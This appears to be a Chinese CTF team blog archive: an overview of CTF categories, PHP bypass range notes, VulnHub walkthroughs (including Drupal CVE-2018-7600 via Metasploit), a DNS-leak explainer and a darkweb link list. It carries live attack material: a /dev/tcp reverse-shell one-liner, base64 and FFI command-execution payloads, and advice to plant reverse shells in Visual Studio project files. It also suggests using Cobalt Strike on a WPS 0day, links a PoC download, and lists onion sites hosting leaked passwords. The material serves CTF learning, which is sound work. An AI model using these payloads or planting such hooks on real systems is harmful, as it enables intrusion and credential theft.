pwn这个名字最早也是出于世界黑客大会，从黑客们以攻破设备或者系统后的”boom“发音而来。Pwn类题目重点考察选手对于设备和系统底层逻辑漏洞的挖掘和利用能力，其攻破手段也通常在堆栈溢出、格式化漏洞、UAF、Double Free等常见底层二进制漏洞上。选手需要根据题目中给出的二进制可执行文件进行逆向分析，找出其中的漏洞并进行利用，编写对应的漏洞攻击脚本(Exploit)，进而对主办方给出的远程服务器进行攻击并获取flag

实战案例：iphone越狱，路由器固件破解，操作系统提权

建议：适合对计算机硬件、计算机底层逻辑感兴趣的成员学习，学习门槛较高，对计算机原理功底要求高。不适合作为入门方向学习

🧑‍🔧reverse

顾名思义，reverse的含义是”逆向“。这类题目考察选手对软件的逆向工程能力。题目会给出一个可执行文件。选手需要逆向给出的程序，分析其程序工作原理。最终根据程序行为等提示找到flag

实战案例：游戏破解，游戏外挂编写

建议：适合喜欢研究软件破解、外挂编写的成员学习，对程序执行逻辑的分析能力要求高。

🔑crypto

crypto题目考察选手对密码学相关知识的了解程度，诸如RSA、AES、DES等都是密码学题目的常客。有些时候也会给出一个加密脚本和密文，根据加密流程逆推出明文。

实战案例：程序加密逆向

建议：适合喜欢数学、或数学成绩较好的成员学习。（鉴于难度奇高，不推荐学习）

🤹misc

misc意为杂项，即不包含在以上分类的题目都会放到这个分类。题目会给出一个附件。选手下载该附件进行分析，最终得出flag。misc常见的题型有图片隐写、视频隐写、文档隐写、流量分析、协议分析、游戏、IoT相关等等。五花八门，种类繁多。

实战案例：信息隐藏

建议：适合喜欢研究使用各类工具软件（文本处理、图像处理、音频处理）的成员学习，适合作为入门方向学习。

🔎osint

osint早期被归纳为misc。其实就是近年来在各大视频网站上火起来的“网络迷踪”，也叫情报分析。题目通过提供一张照片、一段话或是其他任意形式的线索，供选手寻找一些信息（例如某个建筑的名字、某个时间、甚至某个人的名字以及其他敏感信息），并作为flag提交

实战案例：参考柯南😂

建议：适合所有成员学习，可以配合misc作为入门方向，但不适合专攻

📱android

android题考验选手对安卓系统的了解程度。通常以APK逆向，安卓系统“Root”等题目为主。

实战案例：安卓系统“Root”，安卓手机软件/游戏破解

建议：参考reverse的建议

🔗blockchain

blockchain方向主要以区块链安全为主。题目有诸如虚拟货币钱包破解等。（该方向出现概率较小，因此可参照题目类型也较少。）

实战案例：比特币钱包盗用

建议：建议作为学习完上述某一方向后的拓展方向，不适合专攻

🤖AI

近年来大火的一个赛道，甚至有独立出CTF的AI安全比赛。出现在CTF中的题目将让选手自己制作AI模型，来检测出题者给出的病毒或恶意文件，利用AI分析出的数据拼凑出正确的flag

实战案例：垃圾邮件/短信检测，新型杀毒软件

建议：适合对机器学习感兴趣的成员学习

CTF比赛模式

说了这么多供你选择的方向，接下来就来看看各个方向要在不一样的比赛模式里要怎么大展身手吧🫵

😎值得一提的是，和大部分“闭卷式”的比赛不一样（例如ACM算法竞赛），为了模拟最真实的黑客入侵环境，不论是什么模式的CTF比赛，都是可以自由上网查阅资料的

Jeopardy-解题模式（最经典🎻）

参赛队伍可以通过互联网或者现场网络线下参与，参数队伍通过与在线环境交互或文件离线分析，解决网络安全技术挑战获取相应分值，类似于 ACM 算法竞赛、信息学奥林匹克赛的根据总分和时间来进行排名。

这个解题模式一般会设置一血(First Blood) 、二血(Second Blood) 、三血(Third Blood) ，也即最先完成的前三支队伍会获得额外分值，所以这不仅是对首先解出题目的队伍的分值鼓励，也是一种团队能力的间接体现。

[漏洞分享]Visual Studio恶意指令植入漏洞

Fri, 11 Aug 2023 00:00:00 +0800

漏洞成因

漏洞的形成主要是因为Visual Studio的项目文件（vcxproj）是基于XML格式的，XML文件本身并不包含可执行代码。然而，Visual Studio的XML解析器允许在项目文件中包含一些自定义的命令，这些命令可以在构建项目时被执行。

目前该漏洞影响至visual studio所有版本，微软官方还未做出回应

漏洞复现

假设这是一个你平时在用的一个项目文件

通过修改Visual Studio的项目文件（vcxproj)植入恶意命令（必须添加在该位置）

删除x64文件夹后，重新编译项目，就会发现弹出计算器，说明指令可被执行

漏洞利用

可以直接反弹shell，通过hoaxshell直接生成powershell命令，并植入到vcxproj文件中

当受害者编译后，就能获取到权限

[靶场笔记]第七章

Thu, 10 Aug 2023 00:00:00 +0800

intval函数

用于获取变量的整数值（将其他进制转换成10进制输出）

数组绕过

来看看下面这段代码

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

绕过方法很简单，把num变成数组就行，即num[]=1

+号利用

碰到一道比较巧妙的绕过题，先看代码

include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){    $num = $_GET['num'];    if($num==4476){        die("no no no!");    }    if(preg_match("/[a-z]|\./i", $num)){        die("no no no!!");    }    if(!strpos($num, "0")){        die("no no no!!!");    }    if(intval($num,0)===4476){        echo $flag;    }}

可以看到要想拿到flag，就得使用转换结果为4476的num值

但是显然8与16进制无法直接使用。怎么办呢？仔细观察if(!strpos($num, "0"))，可以看这句用来阻止8进制使用的判断其实原理是判断第一位是不是0。怎么办呢？看到这里你应该也猜到了，利用+在url中代表空格的特点，最后的payload是num=+010574

./绕过

同样也是一道很有意思的绕过题

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

虽然没法直接读取flag.php，但只要在前面加个./就能混淆视听

md5()函数空值

在题目中碰到md5函数第一反应不应该是去撞库（要是实在没办法也不是不行），而是想办法让其成为0或空值。来看看下面代码

if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
}

当md5函数参数为数组的时候会发生错误，并返回NULL。可以利用这点进行构造payload a[]=1&b[]=2

[漏洞分享]WPS office 远程执行0day复现

Wed, 09 Aug 2023 00:00:00 +0800

废话不多说，直接上复现过程

先来看复现成功截图

这里需要注意wps版本，后面我会同代码和poc文档一起放上该版本下载链接

截至发文前虽然还没有公开poc，但从网上的一些复现结果中可以看出，都是将hosts记录添加为127.0.0.1，但为了更直观看到攻击机和受害者的网络拓补关系，这里我将恶意js代码放到了kali，将受害者的hosts记录添加为kali的ip，如上图所示

复现过程很简单，受害者在hosts文件中添加一条类似clientweb.docer.wps.cn.{xxxxx}wps.cn的记录后，在kali上存放恶意js代码的目录下用python启动一个简单的http服务，受害者打开攻击者准备好的恶意poc文档，就会使用wps内置的浏览器访问kali存放的恶意js代码页面，就能达到远程执行的目的（当时在群上说错了，是在受害者机器上添加hosts记录而不是攻击者）

为了拓展该漏洞的利用，可以使用cobalt strike生成对应shellcode，即可远程上线

文件下载链接：https://pan.baidu.com/s/1RziuqnlBrob7yjjLc0uXLg
提取码：reds

[靶场笔记]第六章

Mon, 24 Jul 2023 00:00:00 +0800

include的直接用法

碰到include()第一反应，应该就是想到php伪协议中的filter，直接上payload

php://filter/convert.base64-encode/resource=flag.php

更多有关filter参数的用法，可以往下看

data协议

如果出现类似php、flag等关键字过滤的函数，没法用特殊构造方法绕过的时候，考虑使用data协议配合base64加密的方法，同样下面直接放上payload

data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
#上面base64解码：<?php system('cat flag.php');

大写绕过

一种很骚的方法，str_replace不是在找php吗？那关我PHP什么事？

include_path

说实话对于安全防御来说这更像是个可有可无的属性，看看官方是怎么解释的

为了方便理解，假设代码长下面这样

if(isset($_GET['file'])){    $file = $_GET['file'];    $file = str_replace("php", "???", $file);    $file = str_replace("data", "???", $file);    include($file);}else{    highlight_file(__FILE__);

不管include_path在php.ini中如何定义，只要访问的路径是类似../???这样的相对路径或者绝对路径，该属性起不到任何限制作用

日志写入

日志虽然不能用来执行，但如果跟上述include结合，在日志中写入的代码便能在宿主php文件中执行

具体web服务器的默认日志目录可以参考[靶场日记]第一章

php://filter

讲究很多，不过内容基本上都概括在下面两篇博客里

谈一谈php://filter的妙用

file_put_content和死亡·杂糅代码之缘

要注意的是，该伪协议中如果使用的是的write选项，那么后面resource的参数是可以跟一个你自己取文件名，并且会在利用目录下新建该文件并写入内容

base64的等号

等号、加号，这些base64编码结果末尾常见的符号被叫做“占位符”。字面意思，其实就是为了填充编码后的字符串，使得其满足base64的长度规范。在字符串末尾删掉这些符号也不会影响解码结果（这里强调末尾，因为其他位置的占位符删除有可能导致预料意外的结果）

convert、string、zlib、mcrypt

上面这几个东西都是伪协议中的过滤器，也只有这四个

不一样的过滤器有不一样的功能，详情可以看这里

过滤器的配合能让你很轻松地绕过大部分防御，详情还是参考file_put_content和死亡·杂糅代码之缘

[VulnHub]第二章

Sun, 23 Jul 2023 00:00:00 +0800

本章靶场：Corrosion系列

kali上的目录扫描字典

经过几次vulnhub打靶后发现kali上的目录扫描器可谓是五花八门，一些靶场甚至会出现没有使用指定扫描器就没有正确结果的情况

以下是整理的一些常用字典目录，当然可能有疏漏的地方，但也足以应付大部分场景

#除了默认扫描外，绝对目录均为/usr
dirsearch默认扫描
nikto默认扫描
../share/dirb
../share/dirbuster
../wordlist

Bash -i

这个参数的作用是创建一个新的bash交互

但真正实用的是下面这句反弹shell

bash -i >& /dev/tcp/IP地址/端口 0>&1

具体分析可以看这里

fcrackzip

这是一个压缩包密码爆破工具。可以使用自定义字符组合

fcrackzip -b -c 'aA1' -l 1-10 -u 123lybbn.zip

-b 表示使用暴利破解的方式
-c ‘aA1’ 表示使用大小写字母和数字混合破解的方式
-l 1-10 表示需要破解的密码长度为1到10位
-u 表示只显示破解出来的密码，其他错误的密码不显示出

fcrackzip -D -p lybbnpass.txt -u 123lybbn.zip

-D 表示要使用字典破解
-p 表示要使用那个字典破解

nano

我自己本人经常死脑筋只会用vim或者vi来修改文件，但其实很多靶机都会有这个坑，就是没有vi系列，只能用nano

UID、GID、EUID、EGID、SUID、SGID

内容比较多，简单说一下

UID是当前实际用户，GID是当前用户组，EUID是文件有效用户，EGID是文件有效用户组

而SUID和SGID更像是设置“全局变量”（其实我也还不太理解，因为暂时没怎么用到），感兴趣的可以看这里

硬链接和软链接

简单来说，在linux文件结构中，硬链接更像是一个“实时同步”，并且即便源文件被删除了也并不影响同步文件的读取。而软链接可以理解成windows系统下的快捷方式。更多细节可以看这里

[技术杂谈]一篇聊完DNS投毒、泄露

Fri, 14 Jul 2023 00:00:00 +0800

提示：本篇文章可能篇幅较长，知识点较多，需要花40min甚至更长时间才能读完，可以通过左侧导航栏快速跳转。我将尽量用大家都听得懂的方式跟大家解读有关DNS在科学上网中的一些问题。知识本就没有绝对正确，如有错误，欢迎纠正。出现的人名、ip地址等敏感信息已打码。

前情概要

写这篇文章是前两天注册steam账号时出现了一行“请勿使用VPN或代理工具”的提示，看到后便心头一颤，当时我所掌握的知识告诉我，这不和前阶段Xray项目的issue中有iphone用户爆出收到疑似公安局警报一样吗？难道steam的探测机制其实和这是一个道理？

然而询问群友后发现，事情好像并不简单

邈邈随即建议我去试试whoer.net，经过我在不同代理模式下的测试，发现结果和上面我提出的情况如出一辙。但泄露地理位置的问题，或者说被探测出使用VPN的问题究竟出在哪？要怎么解决？这和DNS又有什么关系？以及后来群友提出的开全局、禁webRTC、使用Doh等方式能否真正意义上完全杜绝DNS投毒和泄露的情况？

研究了几天，写篇文章记录一下有关这些问题的答案和解决方法，还是有很多东西可以学习的。

我将分三个部分，从DNS投毒和泄露的原理、_Clash_内核的工具的DNS处理方式、以及常见Clash配置存在的问题，并逐一回答上面提出的这些问题（_V2rayN_的使用会另外开一篇专门介绍，本篇主要讲解DNS泄露原理及基本应对思路）

一、DNS投毒和泄露

DNS工作原理

在介绍标题内容前，先从最基础的东西开始讲起。先来看看DNS的工作原理是什么。大佬可以跳过这部分。

假如你从运营商拉了一条宽带，运营商会分配给你一个光猫，光猫下面接着你自己的路由器，路由器通过pppoe拨号，获取运营商分配的公网ip和DNS服务器，假设公网ip是2.2.2.2，DNS服务器一般会分配两个，假设其中一个的IP为3.3.3.3。同时路由器作为局域网的网关会有自己的内网IP地址。假设为192.168.0.1，家里的所有网络设备都会连接到这台路由器。路由器通过dhcp为每一台网络设备分配一个内网IP。以及默认网关DNS等信息。

一般情况下默认网关和DNS服务器都是路由器。

这是最常见的家庭网络拓扑。

当我们在浏览器中访问百度的时候，由于baidu.com只是为了方便人类记忆的字符串。我们都知道，要定位某一台服务器必须通过IP地址，浏览器并不能通过这串字符找到百度服务器的位置，所以需要有一个地方能查到baidu.com这串字符对应的IP地址，这个地方就是DNS服务器。首先，浏览器会检查浏览器DNS缓存里是否有百度的IP，发现缓存列表中并没有。其次，除去浏览器的DNS缓存，操作系统本身也有DNS的缓存列表。windows可以通过ipconfig /displaydns查询。其中包含我们在系统hosts文件中手动添加的绑定记录。如果在操作系统DNS缓存中也没有找到，浏览器会构建一条DNS查询的应用程数据包，内容是百度的IP地址是多少，DNS服务的默认端口是53。默认传输方式是udp。接着封装MAC地址并从网口发出数据

数据包来到路由器，路由器一看目标IP是自己，于是会一层层的解封装得到电脑的DNS请求，路由器同样首先检查自己的DNS缓存列表中是否有百度的IP地址，如果没有，于是会构建一条DNS查询的应用程数据包，内容同样是baidu.com的IP地址是多少，目标IP为路由器配置的上游DNS服务器，将其发送到公网

数据包会来到运营商给我们分配的DNS服务器 3.3.3.3，收到数据后得知了路由器想要百度的IP，同样先检查自己的缓存列表。没有的话再询问其他上游DNS服务器。运营商的DNS一般会配置多个上有DNS服务器，具体发给哪一台会根据自己的负载均衡策略选择。假设发给了IP为6.6.6.6的服务器，并且假设这台服务器没有配置DNS转发，所以不会将请求转发给其他DNS服务器。

之后这台上游服务器会负责帮我们查询百度的IP。查询方法不是我们关注的重点，感兴趣的朋友可以自行了解DNS的迭代查询。我们只需要知道，最终这台DNS服务器会找到解析baidu.com的权威DNS服务器，并把下面这条数据包交给他。假设权威DNS服务器地址是9.9.9.9

百度的权威服务器收到请求后，他就会有baidu.com这个域名绑定的IP，于是将IP和TTL返回给6.6.6.6这台DNS服务器。TTL全称time-to-live，在DNS中表示缓存时间。假设为十分钟，6.6.6.6收到数据后会缓存下来。并将结果告诉3.3.3.3，3.3.3.3同样也会将结果缓存，并发回给我们的路由器。路由器也是同样的操作。缓存下来并将结果发回给我们的电脑。但这里需要注意，由于家用电脑的性能有限，可能为了节省内存，会将TTL值设置的相对较小。比如30秒。TTL值没必要按照权威DNS服务器的值。当浏览器获取到IP之后，才正式的开始发起访问百度的请求。后面的步骤就是正常访问ip地址了。之后如果你再访问百度，还是先检查缓存列表，如果记录还在缓存列表中，说明TTL还没有到期。会直接从缓存中获取百度的IP。并不会发起DNS请求。如果TTL值到期了，则会将记录从缓存中移除，就又得重新发起DNS请求获取百度的IP。

什么是DNS投毒和泄露？为什么存在这些问题？

为什么需要DNS以及DNS的执行流程相信大家都清楚了，接下来就是我们今天的主题。什么是DNS投毒和泄露？

先来看一下两者定义（上图为DNS泄露，下图为DNS投毒）

简单来说，DNS泄露是指代理访问的网站没有通过节点进行DNS请求，导致电脑向公网发起明文DNS请求，导致访问目的泄露。而DNS投毒是指由于DNS泄露的问题，导致被发回的DNS查询结果中夹杂了目的之外的结果。

所以一切问题的关键就在于怎么解决DNS泄露问题。那么为什么会存在DNS泄露？

在这之前，你可以先在你觉得安全的代理模式下访问一下这个网站，看一下返回的DNS查询过程中是否有中国大陆的DNS服务器。如果有，那么在我对DNS泄露定义的理解下，你的节点已经存在DNS泄露问题。如下图。

这里请注意，DNS泄露的说法只有在我们使用代理之后才存在。假设我们没有使用代理的情况下查询DNS泄露，列表中返回了国内的DNS服务器，这只能说明这些DNS服务器负责帮我们进行了DNS查询，并不代表DNS泄露了。

如果此时我将电脑的本地DNS服务器改成1.1.1.1，意思是让1.1.1.1负责DNS解析，列表中返回了美国的DNS服务器，这也不能说明DNS没有泄露。只有当我们通过代理访问目标网站时，电脑给互联网发送了请求目标网站IP地址的明文DNS请求，这种情况才是DNS泄露。

要讲清楚这个问题就必须先来了解这个网站是如何进行DNS检测的

在网站下按F12调出浏览器的开发者面板，来到网络面板

可以看到网站在不停的发送请求，并且每个请求访问的域名都不一样，目的是为了确保我们的DNS缓存，以及所有上游DNS缓存中都没有这条记录。根据刚才的讲解，当浏览器中没有找到缓存，会构建查询域名IP的DNS请求。由于域名完全随机，路由器也不可能会有缓存，请求将被转发到运营商的DNS，由于运营商配置了多个上游DNS服务器，可能会交给不同的上游，我们假设交给了6.6.6.6，这台DNS负责去寻找这个域名的IP，最终会找到这个域名的权威DNS服务器。

此时的数据包长这样

由于设置了泛解析，查询任何子域名都能获取到IP，ipleak的权威服务器在返回结果给你的时候偷偷做了一个动作，记录下了发送给他请求的DNS服务器的IP地址，并且告诉了你。由于每个访问者使用网站进行查询时域名是完全随机的，也就是说每个人发起DNS查询的域名都不一样，所以网站根据这条查询记录就能知道是你在使用这个DNS服务器。再根据IP归属地得知这个DNS服务器的地理位置。由于网站在不停的发送新的域名进行探测，运营商的DNS可能会使用不同的上游DNS，所以可以探测到多个不同的DNS服务器IP地址。

另外，虽然1.1.1.1是任播DNS，但我们国内使用的话会被反向优化到美国，用美国的DNS服务器，那么它的上游DNS也肯定是美国的IP。所以当我将本地的DNS改成1.1.1.1之后，DNS泄露查询到的都是美国的DNS服务器。所以DNS泄露的并不是你的电脑IP，而是你上上上……上上上游的DNS服务器ip。

DNS泄露在代理中的问题

大家可能松了一口气，觉得并没有什么大不了。那么再来看一下使用代理之后是一个什么情况。

以普通的全局系统代理为例，首先，浏览器要访问谷歌。

由于配置了系统代理，浏览器不再进行DNS查询。而是直接将访问网站的请求，交给我们的代理客户端。

代理客户端拿到请求之后，此时会有两种情况。一种是不发起DNS请求就能判断他是走直连还是走代理，这种情况基本不存在DNS泄露。

另一种情况是发起DNS请求，获取到IP之后，再来根据IP判断是走直连还是走代理。这种情况大概率存在DNS泄露。即使你配的DNS是1.1.1.1或者8.8.8.8，这种国外的DNS提供商，只要发起来DNS请求，那就泄露了。还会因为上面我们所分析的情况迷惑你，因为查不到国内DNS，还以为没有泄露。假设clash使用了IP规则进行分流，就需要先得到谷歌的IP地址，于是会发起DNS请求，内容是谷歌的IP地址是多少。

当这条请求发给互联网的DNS服务器之后，问题就发生了。DNS请求是完全明文的，除非你使用DoT或者DoH进行加密。或者有些客户端默认会将DNS请求通过节点加密进行远程DNS。但这两种情况都会增加延迟，不算是好的方案。而且大部分用户都不会进行加密和远程DNS。也就是说，运营商或者中间任何一台路由器都可以看到你的意图是访问谷歌。后面的情况也就不用我细说了。当你要完谷歌的IP之后，马上给其他服务器发送一堆加密数据，鬼都知道你在干啥。

甚至可能根据这个行为来封禁节点服务器，再比如奈飞这种对地区要求高的网站，如果代理软件偷偷的发送了一个DNS，并且存在DNS泄露，负责跟奈飞的权威DNS服务器对话的这台DNS服务器的IP归属地就会和当前访问奈飞网站的代理IP不是同一个地区，那就判定你在使用VPN工具从而禁止观看。到这里，其实我们就已经能够解释文章开头提到的Steam VPN检测问题。并且是一个非常强的代理特征，就是DNS泄露以及DNS泄露所导致的问题。

二、Clash的DNS处理方式

问题已经提出来了，那要怎么解决呢？那当然是把提出问题的人解决掉就好了

要想解决这个问题，就需要先来看一下目前主流代理软件是如何处理DNS请求的。

1.原理

考虑到很多人可能和我一样不喜欢看官方文档，所以这里我主要给你介绍一些最主要的基本功能，也是我们下面用得到的

[技术杂谈]DarkWeb情报资源

Thu, 06 Jul 2023 00:00:00 +0800

过去 6-8 个月内有大量暗网市场和供应商被取缔或下线，整理了Matt和相关大神的Darkweb OSINT最新资源列表。（未收集售卖类站点）

Onion索引类：

Fresh Onions

http://freshonifyfe4rmuh6qwpsexfhdrww7wnt5qmkoertwxmcuvm4woo4ad.onion/

H-Indexer

http://amz4atjtuuis4dsnxlc3ek6fjoiadj3z7yzcjhylgtfmtrrh7i2hu6id.onion/

OnionLand Search

http://kewgkvbzmjprghk2gv6otkxuyvn2gdnv4256uiumuykjio7nyo5k6rid.onion/

Nexus

http://nexusxg6rr5e2ue6gdjo6oassw36lsx5cx6y3r5ojneo53kynv3rqgyd.onion/

Dark Eye

http://darkeyepxw7cuu2cppnjlgqaav6j42gyt43clcn4vjjf7llfyly5cxid.onion/

VCS Onion Links

http://hgzqgqunlejgxruvcthlpk3pywgkci3kkubhnvlv2rgveusz3n6qarad.onion/

数据泄露：

Distributed Denial of Secrets – 专门收集各种泄密事件的发布和存档

http://ddosxlvzzow7scc7egy75gpke54hgbg2frahxzaw6qq5osnzm7wistid.onion/wiki/Distributed_Denial_of_Secrets

Leaked Instagram passwords

http://breachdbsztfykg2fdaq2gnqnxfsbj5d35byz3yzj73hazydk4vq72qd.onion/

Trashchan public DB dump – 各类公开数据库的转储

http://trashbakket2sfmaqwmvv57dfnmacugvuhwxtxaehcma6ladugfe2cyd.onion/

Anon Leaks – 新闻和泄露混合的站点

http://oezronzbtheydpio2x64wzf2np6go2abdrtgprmgxh6xi6mjnha6lxad.onion/

新闻：

The Tor Times – darkweb新闻汇总.

http://tortimeswqlzti2aqbjoieisne4ubyuoeiiugel2layyudcfrwln76qd.onion/

Electronic Frontier Foundation – 隐私类新闻

https://www.iykpqm7jiradoeezzkhj7c4b33g4hbgfwelht2evxxeicbpjy44c7ead.onion/

其它类：

Archive.is – URL存档站点的暗网版本.

http://archiveiya74codqgiixo33q62qlrqtkgmcitqx5u2oeqnmn5bpcbiyd.onion/

Online-Test – 用于检查 .onion 站点当前是否在线/离线

http://donionsixbjtiohce24abfgsffo2l4tk26qx464zylumgejukfq2vead.onion/test.php

[VulnHub]第一章

Wed, 05 Jul 2023 00:00:00 +0800

本期靶场：EMPIRE系列

getcap和setcap

内容比较复杂，看这里

大概就是可以了解一些文件的操作权限是什么，比如一个有root读取权限的可执行文件就能利用

netdiscover

一句命令即可查完内网存活主机，比nmap快n倍

dirb

目录扫描，dirsearch可以平替，但两者字典库不一定一样

enum4linux

用来枚举已开启SMB服务的linux主机用户

wfuzz

模糊路径搜索器，和dirsearch最大区别就在于能够指定一些参数和模糊路径，例如枚举/~myfiles这样的东西。具体用法看这里

ffuf

也是一个模糊搜索工具，不一样的地方在于这个工具是可以自己选择后缀名的

什么意思呢，比如用wfuzz扫http://192.168.2.17/~secret/.FUZZ这个链接，结果只能是某个目录，而如果使用ffuf，则可以扫描到名叫FUZZ的某个文件html，txt，php等各种可自定义后缀的文件

Base家族

凡是带有=填充符，base64要是不行就试试58或者其他的

ssh2john

这是一个ssh私钥处理脚本，在使用john进行ssh私钥爆破时需要先用这个脚本处理

sudo

-V 显示版本编号
-h 会显示版本编号及指令的使用方式说明
-l 显示出自己（执行 sudo 的使用者）的权限
-v 因为 sudo 在第一次执行时或是在 N 分钟内没有执行（N 预设为五）会问密码，这个参数是重新做一次确认，如果超过 N 分钟，也会问密码
-k 将会强迫使用者在下一次执行 sudo 时问密码（不论有没有超过 N 分钟）
-b 将要执行的指令放在背景执行
-p prompt 可以更改问密码的提示语，其中 %u 会代换为使用者的帐号名称， %h 会显示主机名称
-u username/#uid 不加此参数，代表要以 root 的身份执行指令，而加了此参数，可以以 username 的身份执行指令（#uid 为该 username 的使用者号码）
-s 执行环境变数中的 SHELL 所指定的 shell ，或是 /etc/passwd 里所指定的 shell

Echo战队第19次培训——渗透实战思路和实践

Wed, 21 Jun 2023 00:00:00 +0800

实战是各个方向的结合，甚至没有明确的方向区分。下面将展示实战思路和Lampiao靶机渗透

实战思路

上面是我整理的一份实战思路和总结，看不清楚可以点这里

Lampiao靶机渗透

什么是Lampiao靶机？知道Lampiao前得先介绍一下什么是vulnhub

vulnhub是一个提供漏洞靶机的经典靶场，其中不乏一些高频漏洞，例如Log4j，Dirty cow，常见CMS漏洞等，非常适合萌新黑客练手。并且，vulnhub提供的靶机使用的是VMware镜像，和在线靶场所使用的docker靶机不一样，渗透环境更加真实。Lampiao是vulnhub中的一个非常经典的Dirty cow漏洞复现靶机。

接下来我们直接开始模拟一次真实的渗透过程

渗透环境

攻击者：kali（ip: 192.168.2.6）

受害者：一台服务器，其他信息全部未知，只知道和这台服务器在同一个内网

渗透过程

第一步：信息收集

我们已经知道需要入侵内网中一台服务器，可是服务器在哪？要怎么入侵它？一切都是未知的，既然这样，第一步当然就是信息收集

我们可以使用nmap -PS 192.168.2.1-225对同一C段的内网进行存活主机扫描。-PS是使用ping发包探测主机是否在线，同时可以粗略地检测端口。

经过扫描可以看到这台机子上开放了一个80端口和一个22端口，根据上面的总结不难看出这大概率是一台服务器，因为80端口通常就是用来提供http服务的

我们可以直接输入ip地址尝试访问

为了进一步验证猜想，可以用nmap -O 192.168.2.13来探测这台设备的操作系统，结果如下

可以看到nmap推断其大概率运行的是Linux 3.X或4.X内核的系统

为了获得更具体的系统版本，可以通过各个端口服务的对应版本来推断。什么意思呢？就是我们需要扫描一下80端口和22端口提供服务的软件版本分别是什么，是提供给哪一个linux发行版的

可以使用-sV参数再次进行扫描

通过扫描可以看到，22端口的ssh服务由openSSH提供，同时可以看到出这是个ubuntu版本，因此可以知道这台机器运行的系统是ubuntu，具体版本未知

接下来我们继续使用-A参数来扫描有关这台机器的所有详细信息（刚刚不这么做是因为进行粗扫描能够更快断定一些有关信息，便于后面渗透方向判断），这里我们还需要设置一下全端口扫描，你可以使用-p 1-65535或-p-参数来设置。扫描结果如下

可以看到，在设置了全端口扫描后还发现了一个刚刚没扫出来的1898端口，并且是一个Apache的httpd服务，意味着我们同样可以使用http协议访问

尝试访问结果如下

可以发现这是一个后端登录界面，乱点看了一圈后发现没用什么有价值的信息，但页面最下面的一句Powered by [Drupal](https://www.drupal.org/)引起了我的注意，搜索后发现这是个前端框架，并且发现了一个可利用的CVE漏洞

第二步：Getshell

经过上面信息搜集并了解这个CVE漏洞后，知道CVE-2018-7600 根本原因出在 Drupal 对表单的渲染，发现可以直接使用MSF自带的攻击模块进行利用。先对msf自带的drupal模块进行搜索

根据Description内容，选中第4个模块，并设置options

show options用来查看这个模块需要设置的内容。这里根据required一列可以看到还差RHOST这一项。在MSF所有攻击模块中，RHOST需要填上的是被攻击对象。

需要注意的是，在这个攻击模块中RPORT默认是80，需要修改成1898

执行run就能成功拿到Shell

不过这个没有交互式Shell前缀的界面看着不太舒服，我们可以利用这台服务器上自带的python服务自己构造一个”伪Shell“，代码如下

python -c 'import pty;pty.spawn("/bin/bash")'

有兴趣可以去看一下pty这个包是什么

执行后就能得到一个类似正常交互式Shell的前缀，就能直观地看到当前所在目录和用户名了

第三步：权限提升

只拿到shell依然不能满足我们很多操作，例如我们没法看到一些存放在root文件里的东西，也没法执行一些需要更高权限指令。因此提权就十分重要。

到这里，还记得我们在信息搜集步骤时留下的一个问题吗？我们还不知道这个系统的具体版本是什么。但现在我们已经拿到了shell，查看版本就很简单了，只需要执行以下uname -a就能知道

[靶场笔记]第五章

Tue, 20 Jun 2023 00:00:00 +0800

DirectoryIterator类

根据官方说法，这是一个提供了简单的接口，用于查看文件系统目录的内容的类，其中__toString()可以用来返回new对象时的参数中的目录内容

通常，该类会结合glob://伪协议读取需要的文件夹下的内容，比如根目录就会用glob:///*

下面是一个简单的payload

?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f-
>__toString().'');}exit(0);?>

PDO类

同样先看看官方说法，说是为 PHP 访问数据库定义了一个轻量级的一致接口。

看着听绕口，实际上很好理解。只需要知道这是一个可以读取数据库的类即可。不过需要账号密码，这里就需要通过其他方式获取。

利用如下payload，就可以列出库名

$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select database()");
foreach($rs as $row){
echo($row[0])."|";
}

FFI

FFI是一个可以在php中调用外部语言命令的拓展，所以我们就可以利用这个拓展执行一些C语言命令，比如最典的system();

下面是一个比较常用的payload

c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);

如果出现类似下面这样的回显

就证明已经利用完成

环境变量构造命令

直接来看环境变量是如何使用的

# echo ${PWD}
/root
# echo ${PWD:0:1} #表示从0下标开始的第一个字符
/
# echo ${PWD:~0:1} #从结尾开始往前的第一个字符
t
# echo ${PWD:~0}
t
# echo ${PWD:~A} #所以字母和0具有同样作用
t
# echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

相信看到这里你一定知道要怎么构造查看指令了。也就是说，我们可以利用环境变量的输出结果来构造一个类似cat或者nl这样的文件查看指令，就能达到预期效果

[靶场笔记]第四章

Thu, 18 May 2023 00:00:00 +0800

data伪协议

和php://input一样，用来执行代码，不一样的地方是，data可以直接用GET传值格式是

明文：
data://text/plain,<?php ... ?>
base64编码：
data://text/plain;base64,...

cat的兄弟tac

tac是反向输出，可以用来逃避cat过滤

或运算绕过

& 按位与 |按位或 ^ 按位异或 ~取反为四大位运算符，来看一下下面这段正则匹配

[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-

怎么绕过上面这样的匹配呢?可以发现上面这段匹配里没有|，因此可以使用或运算绕过大概思路就是将除上述匹配外的Ascii字符筛选出来，然后再进行或运算，计算出结果和想要的命令匹配即可下面是脚本

import re
import requests
url="http://67e43a48-b511-4fcd-b715-74df05737fd1.challenge.ctf.show:8080"
a=[]
ans1=""
ans2=""
for i in range(0,256):
c=chr(i)
tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I)
if(tmp):
continue
#print(tmp.group(0))
else:
a.append(i)
# eval("echo($c);");
mya="system" #函数名 这里修改！
myb="ls" #参数
def myfun(k,my):
global ans1
global ans2
for i in range (0,len(a)):
for j in range(i,len(a)):
if(a[i]|a[j]==ord(my[k])):
ans1+=chr(a[i])
ans2+=chr(a[j])
